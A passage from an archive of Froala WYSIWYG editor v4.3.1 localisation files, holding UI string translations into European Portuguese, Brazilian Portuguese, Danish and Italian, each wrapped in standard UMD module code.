'Sobrancelhas franzidas rosto com a boca aberta', 'Anguished face': 'O rosto angustiado', 'Fearful face': 'Cara com medo', 'Weary face': 'Rosto cansado', 'Sleepy face': 'Cara de sono', 'Tired face': 'Rosto cansado', 'Grimacing face': 'Fazendo caretas face', 'Loudly crying face': 'Alto chorando rosto', 'Face with open mouth': 'Enfrentar com a boca aberta', 'Hushed face': 'Flagrantes de rosto', 'Face with open mouth and cold sweat': 'Enfrentar com a boca aberta e suor frio', 'Face screaming in fear': 'Cara gritando de medo', 'Astonished face': 'Cara de surpresa', 'Flushed face': 'Rosto vermelho', 'Sleeping face': 'O rosto de sono', 'Dizzy face': 'Cara tonto', 'Face without mouth': 'Rosto sem boca', 'Face with medical mask': "Rosto com m\xE1scara m\xE9dica", // Line breaker 'Break': 'Partir', // Math 'Subscript': 'Subscrito', 'Superscript': 'Sobrescrito', // Full screen 'Fullscreen': 'Tela cheia', // Horizontal line 'Insert Horizontal Line': 'Inserir linha horizontal', // Clear formatting 'Clear Formatting': "Remover formata\xE7\xE3o", // Save 'Save': "Salve", // Undo, redo 'Undo': 'Anular', 'Redo': 'Restaurar', // Select all 'Select All': 'Seleccionar tudo', // Code view 'Code View': "Exibi\xE7\xE3o de c\xF3digo", // Quote 'Quote': "Cita\xE7\xE3o", 'Increase': 'Aumentar', 'Decrease': 'Diminuir', // Quick Insert 'Quick Insert': "Inser\xE7\xE3o r\xE1pida", // Spcial Characters 'Special Characters': 'Caracteres especiais', 'Latin': 'Latino', 'Greek': 'Grego', 'Cyrillic': 'Cirílico', 'Punctuation': 'Pontuação', 'Currency': 'Moeda', 'Arrows': 'Setas; flechas', 'Math': 'Matemática', 'Misc': 'Misc', // Print. 'Print': 'Impressão', // Spell Checker. 'Spell Checker': 'Verificador ortográfico', // Help 'Help': 'Socorro', 'Shortcuts': 'Atalhos', 'Inline Editor': 'Editor em linha', 'Show the editor': 'Mostre o editor', 'Common actions': 'Ações comuns', 'Copy': 'Cópia de', 'Cut': 'Cortar', 'Paste': 'Colar', 'Basic Formatting': 'Formatação básica', 'Increase quote level': 'Aumentar o nível de cotação', 'Decrease quote level': 'Diminuir o nível de cotação', 'Image / Video': 'Imagem / video', 'Resize larger': 'Redimensionar maior', 'Resize smaller': 'Redimensionar menor', 'Table': 'Tabela', 'Select table cell': 'Selecione a célula da tabela', 'Extend selection one cell': 'Ampliar a seleção de uma célula', 'Extend selection one row': 'Ampliar a seleção uma linha', 'Navigation': 'Navegação', 'Focus popup / toolbar': 'Foco popup / barra de ferramentas', 'Return focus to previous position': 'Retornar o foco para a posição anterior', // Embed.ly 'Embed URL': 'URL de inserção', 'Paste in a URL to embed': 'Colar em url para incorporar', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'O conteúdo colado vem de um documento Microsoft Word. Você quer manter o formato ou limpá-lo?', 'Keep': 'Guarda', 'Clean': 'Limpar limpo', 'Word Paste Detected': 'Pasta de palavras detectada', // Character Counter 'Characters': 'Caracteres', // More Buttons 'More Text': 'Mais Texto', 'More Paragraph': 'Mais Parágrafo', 'More Rich': 'Mais Rico', 'More Misc': 'Mais Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=pt_pt.js.map languages/pt_br.js 0000674 00000026672 00000000000 0010137 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Portuguese spoken in Brazil */ FE.LANGUAGE['pt_br'] = { translation: { // Place holder 'Type something': 'Digite algo', // Basic formatting 'Bold': 'Negrito', 'Italic': 'Itálito', 'Underline': 'Sublinhar', 'Strikethrough': 'Tachado', // Main buttons 'Insert': 'Inserir', 'Delete': 'Apagar', 'Cancel': 'Cancelar', 'OK': 'Ok', 'Back': 'Voltar', 'Remove': 'Remover', 'More': 'Mais', 'Update': 'Atualizar', 'Style': 'Estilo', // Basic formatting 'Text Color': 'Cor do texto', 'Background Color': 'Cor de fundo', 'Inline Class': 'Classe Inline', 'Default': 'Padrão', 'Lower Alpha': 'Alfa minúsculo', 'Lower Greek': 'Grego minúsculo', 'Lower Roman': 'Roman minúsculo', 'Upper Alpha': 'Alfa maiúsculo', 'Upper Roman': 'Roman maiúscula', 'Circle': 'Círculo', 'Disc': 'Disco', 'Square': 'Quadrado', 'Single': 'Único', 'Double': 'Duplo', 'Insert Files': 'Inserir arquivos', 'Download PDF': 'Baixar PDF', // Font 'Font Family': 'Fonte', 'Font Size': 'Tamanho', // Colors 'Colors': 'Cores', 'Background': 'Fundo', 'Text': 'Texto', 'HEX Color': 'Cor hexadecimal', // Paragraphs 'Paragraph Format': 'Formatos', 'Normal': 'Normal', 'Code': 'Código', 'Heading 1': 'Cabeçalho 1', 'Heading 2': 'Cabeçalho 2', 'Heading 3': 'Cabeçalho 3', 'Heading 4': 'Cabeçalho 4', // Style 'Paragraph Style': 'Estilo de parágrafo', 'Inline Style': 'Estilo embutido', // Alignment 'Align': 'Alinhar', 'Align Left': 'Alinhar à esquerda', 'Align Center': 'Centralizar', 'Align Right': 'Alinhar à direita', 'Align Justify': 'Justificar', 'None': 'Nenhum', // Lists 'Ordered List': 'Lista ordenada', 'Unordered List': 'Lista não ordenada', // Indent 'Decrease Indent': 'Diminuir recuo', 'Increase Indent': 'Aumentar recuo', // Links 'Insert Link': 'Inserir link', 'Open in new tab': 'Abrir em uma nova aba', 'Open Link': 'Abrir link', 'Edit Link': 'Editar link', 'Unlink': 'Remover link', 'Choose Link': 'Escolha o link', // Images 'Insert Image': 'Inserir imagem', 'Upload Image': 'Carregar imagem', 'By URL': 'Por um endereço URL', 'Browse': 'Procurar', 'Drop image': 'Arraste sua imagem aqui', 'or click': 'ou clique aqui', 'Manage Images': 'Gerenciar imagens', 'Loading': 'Carregando', 'Deleting': 'Excluindo', 'Tags': 'Etiquetas', 'Are you sure? Image will be deleted.': 'Você tem certeza? A imagem será apagada.', 'Replace': 'Substituir', 'Uploading': 'Carregando imagem', 'Loading image': 'Carregando imagem', 'Display': 'Exibir', 'Inline': 'Em linha', 'Break Text': 'Texto de quebra', 'Alternate Text': 'Texto alternativo', 'Change Size': 'Alterar tamanho', 'Width': 'Largura', 'Height': 'Altura', 'Something went wrong. Please try again.': 'Algo deu errado. Por favor, tente novamente.', 'Image Caption': 'Legenda da imagem', 'Advanced Edit': 'Edição avançada', // Video 'Insert Video': 'Inserir vídeo', 'Embedded Code': 'Código embutido', 'Paste in a video URL': 'Colar um endereço de vídeo', 'Drop video': 'Solte o vídeo', 'Your browser does not support HTML5 vídeo.': 'Seu navegador não suporta vídeo em HTML5.', 'Upload Video': 'Carregar vídeo', // Tables 'Insert Table': 'Inserir tabela', 'Table Header': 'Cabeçalho da tabela', 'Remove Table': 'Remover tabela', 'Table Style': 'Estilo de tabela', 'Horizontal Align': 'Alinhamento horizontal', 'Row': 'Linha', 'Insert row above': 'Inserir linha antes', 'Insert row below': 'Inserir linha depois', 'Delete row': 'Excluir linha', 'Column': 'Coluna', 'Insert column before': 'Inserir coluna antes', 'Insert column after': 'Inserir coluna depois', 'Delete column': 'Excluir coluna', 'Cell': 'Célula', 'Merge cells': 'Agrupar células', 'Horizontal split': 'Divisão horizontal', 'Vertical split': 'Divisão vertical', 'Cell Background': 'Fundo da célula', 'Vertical Align': 'Alinhamento vertical', 'Top': 'Topo', 'Middle': 'Meio', 'Bottom': 'Fundo', 'Align Top': 'Alinhar topo', 'Align Middle': 'Alinhar meio', 'Align Bottom': 'Alinhar fundo', 'Cell Style': 'Estilo de célula', // Files 'Upload File': 'Carregar arquivo', 'Drop file': 'Arraste seu arquivo aqui', // Emoticons 'Emoticons': 'Emoticons', 'Grinning face': 'Rosto sorrindo', 'Grinning face with smiling eyes': 'Rosto sorrindo rosto com olhos sorridentes', 'Face with tears of joy': 'Rosto com lágrimas de alegria', 'Smiling face with open mouth': 'Rosto sorrindo com a boca aberta', 'Smiling face with open mouth and smiling eyes': 'Rosto sorrindo com a boca aberta e olhos sorridentes', 'Smiling face with open mouth and cold sweat': 'Rosto sorrindo com a boca aberta e suor frio', 'Smiling face with open mouth and tightly-closed eyes': 'Rosto sorrindo com a boca aberta e os olhos bem fechados', 'Smiling face with halo': 'Rosto sorrindo com aréola', 'Smiling face with horns': 'Rosto sorrindo com chifres', 'Winking face': 'Rosto piscando', 'Smiling face with smiling eyes': 'Rosto sorrindo com olhos sorridentes', 'Face savoring delicious food': 'Rosto saboreando uma deliciosa comida', 'Relieved face': 'Rosto aliviado', 'Smiling face with heart-shaped eyes': 'Rosto sorrindo com os olhos em forma de coração', 'Smiling face with sunglasses': 'Rosto sorrindo com óculos de sol', 'Smirking face': 'Rosto sorridente', 'Neutral face': 'Rosto neutro', 'Expressionless face': 'Rosto inexpressivo', 'Unamused face': 'Rosto sem expressão', 'Face with cold sweat': 'Rosto com suor frio', 'Pensive face': 'Rosto pensativo', 'Confused face': 'Rosto confuso', 'Confounded face': 'Rosto atônito', 'Kissing face': 'Rosto beijando', 'Face throwing a kiss': 'Rosto jogando um beijo', 'Kissing face with smiling eyes': 'Rosto beijando com olhos sorridentes', 'Kissing face with closed eyes': 'Rosto beijando com os olhos fechados', 'Face with stuck out tongue': 'Rosto com a língua para fora', 'Face with stuck out tongue and winking eye': 'Rosto com a língua para fora e um olho piscando', 'Face with stuck out tongue and tightly-closed eyes': 'Rosto com a língua para fora e os olhos bem fechados', 'Disappointed face': 'Rosto decepcionado', 'Worried face': 'Rosto preocupado', 'Angry face': 'Rosto irritado', 'Pouting face': 'Rosto com beicinho', 'Crying face': 'Rosto chorando', 'Persevering face': 'Rosto perseverante', 'Face with look of triumph': 'Rosto com olhar de triunfo', 'Disappointed but relieved face': 'Rosto decepcionado mas aliviado', 'Frowning face with open mouth': 'Rosto franzido com a boca aberta', 'Anguished face': 'Rosto angustiado', 'Fearful face': 'Rosto com medo', 'Weary face': 'Rosto cansado', 'Sleepy face': 'Rosto com sono', 'Tired face': 'Rosto cansado', 'Grimacing face': 'Rosto fazendo careta', 'Loudly crying face': 'Rosto chorando alto', 'Face with open mouth': 'Rosto com a boca aberta', 'Hushed face': 'Rosto silencioso', 'Face with open mouth and cold sweat': 'Rosto com a boca aferta e suando frio', 'Face screaming in fear': 'Rosto gritando de medo', 'Astonished face': 'Rosto surpreso', 'Flushed face': 'Rosto envergonhado', 'Sleeping face': 'Rosto dormindo', 'Dizzy face': 'Rosto tonto', 'Face without mouth': 'Rosto sem boca', 'Face with medical mask': 'Rosto com máscara médica', // Line breaker 'Break': 'Quebrar linha', // Math 'Subscript': 'Subscrito', 'Superscript': 'Sobrescrito', // Full screen 'Fullscreen': 'Tela cheia', // Horizontal line 'Insert Horizontal Line': 'Inserir linha horizontal', // Clear formatting 'Clear Formatting': 'Remover formatação', // Save 'Save': "Salve", // Undo, redo 'Undo': 'Desfazer', 'Redo': 'Refazer', // Select all 'Select All': 'Selecionar tudo', // Code view 'Code View': 'Exibir de código', // Quote 'Quote': 'Citação', 'Increase': 'Aumentar', 'Decrease': 'Diminuir', // Quick Insert 'Quick Insert': 'Inserção rápida', // Spcial Characters 'Special Characters': 'Caracteres especiais', 'Latin': 'Latino', 'Greek': 'Grego', 'Cyrillic': 'Cirílico', 'Punctuation': 'Pontuação', 'Currency': 'Moeda', 'Arrows': 'Setas', 'Math': 'Matemática', 'Misc': 'Misc', // Print. 'Print': 'Impressão', // Spell Checker. 'Spell Checker': 'Corretor ortográfico', // Help 'Help': 'Ajuda', 'Shortcuts': 'Atalhos', 'Inline Editor': 'Editor em linha', 'Show the editor': 'Mostre o editor', 'Common actions': 'Ações comuns', 'Copy': 'Cópia de', 'Cut': 'Cortar', 'Paste': 'Colar', 'Basic Formatting': 'Formatação básica', 'Increase quote level': 'Aumentar o nível de cotação', 'Decrease quote level': 'Diminuir o nível de cotação', 'Image / Video': 'Imagem / Vídeo', 'Resize larger': 'Redimensionar maior', 'Resize smaller': 'Redimensionar menor', 'Table': 'Tabela', 'Select table cell': 'Selecione a célula da tabela', 'Extend selection one cell': 'Ampliar a seleção de uma célula', 'Extend selection one row': 'Ampliar a seleção de uma linha', 'Navigation': 'Navegação', 'Focus popup / toolbar': 'Pop-up de foco / Barra de ferramentas', 'Return focus to previous position': 'Retornar o foco para a posição anterior', // Embed.ly 'Embed URL': 'URL de inserção', 'Paste in a URL to embed': 'Colar um endereço URL para incorporar', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'O conteúdo colado vem de um documento Microsoft Word. Você quer manter o formato ou limpá-lo?', 'Keep': 'Manter formatação', 'Clean': 'Limpar formatação', 'Word Paste Detected': 'Texto do Word detectado', // Character Counter 'Characters': 'Caracteres', // More Buttons 'More Text': 'Mais Texto', 'More Paragraph': 'Mais Parágrafo', 'More Rich': 'Mais Rico', 'More Misc': 'Mais Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=pt_br.js.map languages/da.js 0000674 00000024773 00000000000 0007415 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Danish */ FE.LANGUAGE['da'] = { translation: { // Place holder 'Type something': 'Skriv her', // Basic formatting 'Bold': 'Fed', 'Italic': 'Kursiv', 'Underline': 'Understreget', 'Strikethrough': 'Gennemstreget', // Main buttons 'Insert': 'Indsæt', 'Delete': 'Slet', 'Cancel': 'Fortryd', 'OK': 'Ok', 'Back': 'Tilbage', 'Remove': 'Fjern', 'More': 'Mere', 'Update': 'Opdater', 'Style': 'Udseende', // Font 'Font Family': 'Skrifttype', 'Font Size': 'Skriftstørrelse', // Colors 'Colors': 'Farver', 'Background': 'Baggrund', 'Text': 'Tekst', 'HEX Color': 'Hex farve', // Paragraphs 'Paragraph Format': 'Typografi', 'Normal': 'Normal', 'Code': 'Kode', 'Heading 1': 'Overskrift 1', 'Heading 2': 'Overskrift 2', 'Heading 3': 'Overskrift 3', 'Heading 4': 'Overskrift 4', // Style 'Paragraph Style': 'Afsnit', 'Inline Style': 'På linje', // Alignment 'Align': 'Tilpasning', 'Align Left': 'Venstrejusteret', 'Align Center': 'Centreret', 'Align Right': 'Højrejusteret', 'Align Justify': 'Justeret', 'None': 'Ingen', // Lists 'Ordered List': 'Punktopstilling', 'Unordered List': 'Punktopstilling med tal', // Indent 'Decrease Indent': 'Formindsk indrykning', 'Increase Indent': 'Forøg indrykning', // Links 'Insert Link': 'Indsæt link', 'Open in new tab': 'Åbn i ny fane', 'Open Link': 'Åbn link', 'Edit Link': 'Rediger link', 'Unlink': 'Fjern link', 'Choose Link': 'Vælg link', // Images 'Insert Image': 'Indsæt billede', 'Upload Image': 'Upload billede', 'By URL': 'Fra URL', 'Browse': 'Gennemse', 'Drop image': 'Træk billedet herind', 'or click': 'eller klik', 'Manage Images': 'Administrer billeder', 'Loading': 'Henter', 'Deleting': 'Sletter', 'Tags': 'Tags', 'Are you sure? Image will be deleted.': 'Er du sikker? Billedet vil blive slettet.', 'Replace': 'Udskift', 'Uploading': 'Uploader', 'Loading image': 'Henter billede', 'Display': 'Layout', 'Inline': 'På linje', 'Break Text': 'Ombryd tekst', 'Alternative Text': 'Supplerende tekst', 'Change Size': 'Tilpas størrelse', 'Width': 'Bredde', 'Height': 'Højde', 'Something went wrong. Please try again.': 'Noget gik galt. Prøv igen.', 'Image Caption': 'Billedtekst', 'Advanced Edit': 'Avanceret redigering', // Video 'Insert Video': 'Indsæt video', 'Embedded Code': 'Indlejret kode', 'Paste in a video URL': 'Indsæt en video via URL', 'Drop video': 'Træk videoen herind', 'Your browser does not support HTML5 video.': 'Din browser understøtter ikke HTML5 video.', 'Upload Video': 'Upload video', // Tables 'Insert Table': 'Indsæt tabel', 'Table Header': 'Tabeloverskrift', 'Remove Table': 'Fjern tabel', 'Table Style': 'Tabeludseende', 'Horizontal Align': 'Vandret tilpasning', 'Row': 'Række', 'Insert row above': 'Indsæt række over', 'Insert row below': 'Indsæt række under', 'Delete row': 'Slet række', 'Column': 'Kolonne', 'Insert column before': 'Indsæt kolonne før', 'Insert column after': 'Indsæt kolonne efter', 'Delete column': 'Slet kolonne', 'Cell': 'Celle', 'Merge cells': 'Flet celler', 'Horizontal split': 'Vandret split', 'Vertical split': 'Lodret split', 'Cell Background': 'Cellebaggrund', 'Vertical Align': 'Lodret tilpasning', 'Top': 'Top', 'Middle': 'Midte', 'Bottom': 'Bund', 'Align Top': 'Tilpas i top', 'Align Middle': 'Tilpas i midte', 'Align Bottom': 'Tilpas i bund', 'Cell Style': 'Celleudseende', // Files 'Upload File': 'Upload fil', 'Drop file': 'Træk filen herind', // Emoticons 'Emoticons': 'Humørikoner', 'Grinning face': 'Grinende ansigt', 'Grinning face with smiling eyes': 'Grinende ansigt med smilende øjne', 'Face with tears of joy': 'Ansigt med glædestårer', 'Smiling face with open mouth': 'Smilende ansigt med åben mund', 'Smiling face with open mouth and smiling eyes': 'Smilende ansigt med åben mund og smilende øjne', 'Smiling face with open mouth and cold sweat': 'Smilende ansigt med åben mund og koldsved', 'Smiling face with open mouth and tightly-closed eyes': 'Smilende ansigt med åben mund og stramtlukkede øjne', 'Smiling face with halo': 'Smilende ansigt med glorie', 'Smiling face with horns': 'Smilende ansigt med horn', 'Winking face': 'Blinkede ansigt', 'Smiling face with smiling eyes': 'Smilende ansigt med smilende øjne', 'Face savoring delicious food': 'Ansigt der savler over lækker mad', 'Relieved face': 'Lettet ansigt', 'Smiling face with heart-shaped eyes': 'Smilende ansigt med hjerteformede øjne', 'Smiling face with sunglasses': 'Smilende ansigt med solbriller', 'Smirking face': 'Smilende ansigt', 'Neutral face': 'Neutralt ansigt', 'Expressionless face': 'Udtryksløst ansigt', 'Unamused face': 'Utilfredst ansigt', 'Face with cold sweat': 'Ansigt med koldsved', 'Pensive face': 'Eftertænksomt ansigt', 'Confused face': 'Forvirret ansigt', 'Confounded face': 'Irriteret ansigt', 'Kissing face': 'Kyssende ansigt', 'Face throwing a kiss': 'Ansigt der luftkysser', 'Kissing face with smiling eyes': 'Kyssende ansigt med smilende øjne', 'Kissing face with closed eyes': 'Kyssende ansigt med lukkede øjne', 'Face with stuck out tongue': 'Ansigt med tungen ud af munden', 'Face with stuck out tongue and winking eye': 'Ansigt med tungen ud af munden og blinkede øje', 'Face with stuck out tongue and tightly-closed eyes': 'Ansigt med tungen ud af munden og stramt lukkede øjne', 'Disappointed face': 'Skuffet ansigt', 'Worried face': 'Bekymret ansigt', 'Angry face': 'Vredt ansigt', 'Pouting face': 'Surmulende ansigt', 'Crying face': 'Grædende ansigt', 'Persevering face': 'Vedholdende ansigt', 'Face with look of triumph': 'Hoverende ansigt', 'Disappointed but relieved face': 'Skuffet, men lettet ansigt', 'Frowning face with open mouth': 'Ansigt med åben mund og rynket pande', 'Anguished face': 'Forpintt ansigt', 'Fearful face': 'Angst ansigt', 'Weary face': 'Udmattet ansigt', 'Sleepy face': 'Søvnigt ansigt', 'Tired face': 'Træt ansigt', 'Grimacing face': 'Ansigt der laver en grimasse', 'Loudly crying face': 'Vrælende ansigt', 'Face with open mouth': 'Ansigt med åben mund', 'Hushed face': 'Tyst ansigt', 'Face with open mouth and cold sweat': 'Ansigt med åben mund og koldsved', 'Face screaming in fear': 'Ansigt der skriger i frygt', 'Astonished face': 'Forbløffet ansigt', 'Flushed face': 'Blussende ansigt', 'Sleeping face': 'Sovende ansigt', 'Dizzy face': 'Svimmelt ansigt', 'Face without mouth': 'Ansigt uden mund', 'Face with medical mask': 'Ansigt med mundbind', // Line breaker 'Break': 'Linjeskift', // Math 'Subscript': 'Sænket skrift', 'Superscript': 'Hævet skrift', // Full screen 'Fullscreen': 'Fuldskærm', // Horizontal line 'Insert Horizontal Line': 'Indsæt vandret linie', // Clear formatting 'Clear Formatting': 'Fjern formatering', // Undo, redo 'Undo': 'Fortryd', 'Redo': 'Annuller fortryd', // Select all 'Select All': 'Vælg alt', // Code view 'Code View': 'Kodevisning', // Quote 'Quote': 'Citat', 'Increase': 'Forøg', 'Decrease': 'Formindsk', // Quick Insert 'Quick Insert': 'Kvik-indsæt', // Spcial Characters 'Special Characters': 'Specialtegn', 'Latin': 'Latin', 'Greek': 'Græsk', 'Cyrillic': 'Kyrillisk', 'Punctuation': 'Tegnsætning', 'Currency': 'Valuta', 'Arrows': 'Pile', 'Math': 'Matematik', 'Misc': 'Diverse', // Print. 'Print': 'Print', // Spell Checker. 'Spell Checker': 'Stavekontrol', // Help 'Help': 'Hjælp', 'Shortcuts': 'Genveje', 'Inline Editor': 'Indlejret editor', 'Show the editor': 'Vis editor', 'Common actions': 'Almindelige handlinger', 'Copy': 'Kopier', 'Cut': 'Klip', 'Paste': 'Sæt ind', 'Basic Formatting': 'Grundlæggende formatering', 'Increase quote level': 'Hæv citatniveau', 'Decrease quote level': 'Sænk citatniveau', 'Image / Video': 'Billede / video', 'Resize larger': 'Ændre til større', 'Resize smaller': 'Ændre til mindre', 'Table': 'Tabel', 'Select table cell': 'Vælg tabelcelle', 'Extend selection one cell': 'Udvid markeringen med én celle', 'Extend selection one row': 'Udvid markeringen med én række', 'Navigation': 'Navigation', 'Focus popup / toolbar': 'Fokuser popup / værktøjslinje', 'Return focus to previous position': 'Skift fokus tilbage til tidligere position', // Embed.ly 'Embed URL': 'Integrer URL', 'Paste in a URL to embed': 'Indsæt en URL for at indlejre', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Det indsatte indhold kommer fra et Microsoft Word-dokument. Vil du beholde formateringen eller fjerne den?', 'Keep': 'Behold', 'Clean': 'Fjern', 'Word Paste Detected': 'Indsættelse fra Word opdaget', // Character Counter 'Characters': 'tegn', // More Buttons 'More Text': 'Mere tekst', 'More Paragraph': 'Mere afsnit', 'More Rich': 'Mere rig', 'More Misc': 'Mere Diverse' }, direction: 'ltr' }; }))); //# sourceMappingURL=da.js.map languages/it.js 0000674 00000026021 00000000000 0007431 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Italian */ FE.LANGUAGE['it'] = { translation: { // Place holder 'Type something': 'Digita qualcosa', //Missing translations 'Text Color': 'Colore del testo', 'Background Color': 'Colore di sfondo', 'Inline Class': 'Classe inline', 'Default': 'Predefinito', 'Lower Alpha': 'Alfa minuscole', 'Lower Greek': 'Greche minuscole', 'Lower Roman': 'Romane minuscole', 'Upper Alpha': 'Alfa maiuscole', 'Upper Roman': 'Romane maiuscole', 'Circle': 'Cerchio', 'Disc': 'Disco', 'Square': 'Quadrato', 'Double': 'Doppio', 'Download PDF': 'Scarica il PDF', // Basic formatting 'Bold': 'Grassetto', 'Italic': 'Corsivo', 'Underline': 'Sottolineato', 'Strikethrough': 'Barrato', // Main buttons 'Insert': 'Inserisci', 'Delete': 'Cancella', 'Cancel': 'Cancella', 'OK': 'OK', 'Back': 'Indietro', 'Remove': 'Rimuovi', 'More': "Di pi\xF9", 'Update': 'Aggiorna', 'Style': 'Stile', // Font 'Font Family': 'Carattere', 'Font Size': 'Dimensione Carattere', // Colors 'Colors': 'Colori', 'Background': 'Sfondo', 'Text': 'Testo', 'HEX Color': 'Colore Esadecimale', // Paragraphs 'Paragraph Format': 'Formattazione', 'Normal': 'Normale', 'Code': 'Codice', 'Heading 1': 'Intestazione 1', 'Heading 2': 'Intestazione 2', 'Heading 3': 'Intestazione 3', 'Heading 4': 'Intestazione 4', // Style 'Paragraph Style': 'Stile Paragrafo', 'Inline Style': 'Stile in Linea', // Alignment 'Align': 'Allinea', 'Align Left': 'Allinea a Sinistra', 'Align Center': 'Allinea al Cento', 'Align Right': 'Allinea a Destra', 'Align Justify': 'Giustifica', 'None': 'Nessuno', // Lists 'Ordered List': 'Elenchi Numerati', 'Unordered List': 'Elenchi Puntati', // Indent 'Decrease Indent': 'Riduci Rientro', 'Increase Indent': 'Aumenta Rientro', // Links 'Insert Link': 'Inserisci Link', 'Open in new tab': 'Apri in nuova scheda', 'Open Link': 'Apri Link', 'Edit Link': 'Modifica Link', 'Unlink': 'Rimuovi Link', 'Choose Link': 'Scegli Link', // Images 'Insert Image': 'Inserisci Immagine', 'Upload Image': 'Carica Immagine', 'By URL': 'Inserisci URL', 'Browse': 'Sfoglia', 'Drop image': 'Rilascia immagine', 'or click': 'oppure clicca qui', 'Manage Images': 'Gestione Immagini', 'Loading': 'Caricamento', 'Deleting': 'Eliminazione', 'Tags': 'Etichetta', 'Are you sure? Image will be deleted.': "Sei sicuro? L'immagine verr\xE0 cancellata.", 'Replace': 'Sostituisci', 'Uploading': 'Caricamento', 'Loading image': 'Caricamento immagine', 'Display': 'Visualizzazione', 'Inline': 'In Linea', 'Break Text': 'Separa dal Testo', 'Alternative Text': 'Testo Alternativo', 'Change Size': 'Cambia Dimensioni', 'Width': 'Larghezza', 'Height': 'Altezza', 'Something went wrong. Please try again.': 'Qualcosa non ha funzionato. Riprova, per favore.', 'Image Caption': 'Didascalia', 'Advanced Edit': 'Avanzato', // Video 'Insert Video': 'Inserisci Video', 'Embedded Code': 'Codice Incorporato', 'Paste in a video URL': 'Incolla l\'URL del video', 'Drop video': 'Rilascia video', 'Your browser does not support HTML5 video.': 'Il tuo browser non supporta i video html5.', 'Upload Video': 'Carica Video', // Tables 'Insert Table': 'Inserisci Tabella', 'Table Header': 'Intestazione Tabella', 'Remove Table': 'Rimuovi Tabella', 'Table Style': 'Stile Tabella', 'Horizontal Align': 'Allineamento Orizzontale', 'Row': 'Riga', 'Insert row above': 'Inserisci una riga prima', 'Insert row below': 'Inserisci una riga dopo', 'Delete row': 'Cancella riga', 'Column': 'Colonna', 'Insert column before': 'Inserisci una colonna prima', 'Insert column after': 'Inserisci una colonna dopo', 'Delete column': 'Cancella colonna', 'Cell': 'Cella', 'Merge cells': 'Unisci celle', 'Horizontal split': 'Dividi in orizzontale', 'Vertical split': 'Dividi in verticale', 'Cell Background': 'Sfondo Cella', 'Vertical Align': 'Allineamento Verticale', 'Top': 'Alto', 'Middle': 'Centro', 'Bottom': 'Basso', 'Align Top': 'Allinea in Alto', 'Align Middle': 'Allinea al Centro', 'Align Bottom': 'Allinea in Basso', 'Cell Style': 'Stile Cella', // Files 'Upload File': 'Carica File', 'Drop file': 'Rilascia file', // Emoticons 'Emoticons': 'Emoticon', 'Grinning face': 'Sorridente', 'Grinning face with smiling eyes': 'Sorridente con gli occhi sorridenti', 'Face with tears of joy': 'Con lacrime di gioia', 'Smiling face with open mouth': 'Sorridente con la bocca aperta', 'Smiling face with open mouth and smiling eyes': 'Sorridente con la bocca aperta e gli occhi sorridenti', 'Smiling face with open mouth and cold sweat': 'Sorridente con la bocca aperta e sudore freddo', 'Smiling face with open mouth and tightly-closed eyes': 'Sorridente con la bocca aperta e gli occhi stretti', 'Smiling face with halo': 'Sorridente con aureola', 'Smiling face with horns': 'Diavolo sorridente', 'Winking face': 'Ammiccante', 'Smiling face with smiling eyes': 'Sorridente imbarazzato', 'Face savoring delicious food': 'Goloso', 'Relieved face': 'Rassicurato', 'Smiling face with heart-shaped eyes': 'Sorridente con gli occhi a forma di cuore', 'Smiling face with sunglasses': 'Sorridente con gli occhiali da sole', 'Smirking face': 'Compiaciuto', 'Neutral face': 'Neutro', 'Expressionless face': 'Inespressivo', 'Unamused face': 'Annoiato', 'Face with cold sweat': 'Sudare freddo', 'Pensive face': 'Pensieroso', 'Confused face': 'Perplesso', 'Confounded face': 'Confuso', 'Kissing face': 'Bacio', 'Face throwing a kiss': 'Manda un bacio', 'Kissing face with smiling eyes': 'Bacio con gli occhi sorridenti', 'Kissing face with closed eyes': 'Bacio con gli occhi chiusi', 'Face with stuck out tongue': 'Linguaccia', 'Face with stuck out tongue and winking eye': 'Linguaccia ammiccante', 'Face with stuck out tongue and tightly-closed eyes': 'Linguaccia con occhi stretti', 'Disappointed face': 'Deluso', 'Worried face': 'Preoccupato', 'Angry face': 'Arrabbiato', 'Pouting face': 'Imbronciato', 'Crying face': 'Pianto', 'Persevering face': 'Perseverante', 'Face with look of triumph': 'Trionfante', 'Disappointed but relieved face': 'Deluso ma rassicurato', 'Frowning face with open mouth': 'Accigliato con la bocca aperta', 'Anguished face': 'Angosciato', 'Fearful face': 'Pauroso', 'Weary face': 'Stanco', 'Sleepy face': 'Assonnato', 'Tired face': 'Snervato', 'Grimacing face': 'Smorfia', 'Loudly crying face': 'Pianto a gran voce', 'Face with open mouth': 'Bocca aperta', 'Hushed face': 'Silenzioso', 'Face with open mouth and cold sweat': 'Bocca aperta e sudore freddo', 'Face screaming in fear': 'Urlante dalla paura', 'Astonished face': 'Stupito', 'Flushed face': 'Arrossito', 'Sleeping face': 'Addormentato', 'Dizzy face': 'Stordito', 'Face without mouth': 'Senza 